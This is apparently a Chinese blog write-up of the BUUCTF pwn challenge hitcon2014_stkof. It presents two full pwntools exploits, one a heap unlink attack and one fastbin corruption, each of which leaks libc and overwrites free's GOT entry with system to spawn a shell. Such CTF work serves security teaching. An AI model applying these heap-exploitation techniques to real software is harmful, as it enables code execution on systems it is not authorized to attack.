[BUUCTF]-PWN:hitcon2014_stkof解析(unlink)

又是一道堆题,先看保护

关键信息,64位,没开pie。再看ida

大致就是alloc创建堆块,free释放堆块,fill填充堆块内容,以及一个看起来没啥用的函数,当然我也没利用这个函数去解题

这里有两种解法

解法一(unlink):

这里要着重讲一下这个解法,因为我在前面的堆题里几乎没有用过这个方法解题,而且unlink也是一种值得去用的解法。

解题思路:

从创建堆块的函数里可以看到,堆块的指针存储在一个名为s的指针数组里,可以触发unlink修改堆块指针为s附近的地址,修改该堆块内容把两个堆块指针分别修改为free的got以及任意函数的got,把free的got里内容修改为puts的plt地址,打印出任意函数的got内容,泄露libc,得到system函数地址,把free的got内容修改为system,然后getshell

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
#p=process('./stkof')
p=remote('node5.buuoj.cn',27600)
pchunk=0x602150
free_got=0x602018
puts_got=0x602020
puts_plt=0x400760
libc_start_main_got=0x602050

def alloc(size):
    p.sendline(str(1))
    p.sendline(str(size))
def fill(index,size,context):
    p.sendline(str(2))
    p.sendline(str(index))
    p.sendline(str(size))
    p.sendline(context)
def free(index):
    p.sendline(str(3))
    p.sendline(str(index))

alloc(0x10)
alloc(0x20)
alloc(0x80)
alloc(0x80)
payload=p64(0)+p64(0x21)+p64(pchunk-0x18)+p64(pchunk-0x10)+p64(0x20)+p64(0x90)
fill(2,len(payload),payload)
free(3)
payload=p64(0)*2+p64(free_got)+p64(libc_start_main_got)
fill(2,len(payload),payload)
payload=p64(puts_plt)
fill(1,len(payload),payload)
free(2)
libc_start_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher('__libc_start_main',libc_start_addr)
libcbase=libc_start_addr-libc.dump('__libc_start_main')
system=libcbase+libc.dump('system')
payload=p64(system)
fill(1,len(payload),payload)
alloc(0x20)
payload=b'/bin/sh\x00'
fill(4,len(payload),payload)
free(4)
p.interactive()

unlink:

应用:

首先,设某一堆块的指针存储在pchunk地址处,在该堆块中伪造堆块,填充数据伪造堆头,利用填充堆块内容的函数将该堆块的fd和bk处分别修改为pchunk-0x18,pchunk-0x10,然后将相邻的下一堆块的priv_size修改为伪造的堆块的大小,堆头size修改为相应的大小,然后释放相邻堆块(大小需为非fastbin)就可以触发unlink,将该堆块的指针修改为pchunk-0x18了。

例如exp中的:

payload=p64(0)+p64(0x21)
payload+=p64(pchunk-0x18)+p64(pchunk-0x10)
payload+=p64(0x20)+p64(0x90) #这里直接输入这样是因为伪造堆块的大小较小不用填充无关数据

如果伪造的堆块大小较大,需要填充无关数据至相邻堆块的堆头。

原理:

原理可以看一下这篇文章,写得很详细

https://blog.csdn.net/qq_41202237/article/details/108481889

第二种解法:

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
#p=process('./stkof')
p=remote('node5.buuoj.cn',27600)
s=0x602140
free_got=0x602018
puts_plt=0x400760
libc_start_main_got=0x602050

def alloc(size):
    p.sendline(str(1))
    p.sendline(str(size))
def fill(index,size,context):
    p.sendline(str(2))
    p.sendline(str(index))
    p.sendline(str(size))
    p.sendline(context)
def free(index):
    p.sendline(str(3))
    p.sendline(str(index))

alloc(0x10) #1
alloc(0x10) #2
alloc(0x60) #3
alloc(0x60) #4
alloc(0x80) #5
free(3)
free(4)
payload=p64(0)*3+p64(0x71)+p64(0)*13+p64(0x71)+p64(s-115)
fill(2,len(payload),payload)
alloc(0x60)
alloc(0x60)
payload=p64(0)*13+p8(0)*3+p64(free_got)+p64(libc_start_main_got)
fill(7,len(payload),payload)
payload=p64(puts_plt)
fill(1,len(payload),payload)
free(2)
libc_start_main_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(libc_start_main_addr)
libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase=libc_start_main_addr-libc.dump('__libc_start_main')
system=libcbase+libc.dump('system')
payload=p64(system)
fill(1,len(payload),payload)
payload=b'/bin/sh\x00'
fill(5,len(payload),payload)
free(5)
p.interactive()

直接释放两个堆块,利用堆溢出在堆块指针数组s附近创建堆块,修改指针。

这种方法比较简单粗暴一点,但是还是建议用unlink去解题。

  • 15
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值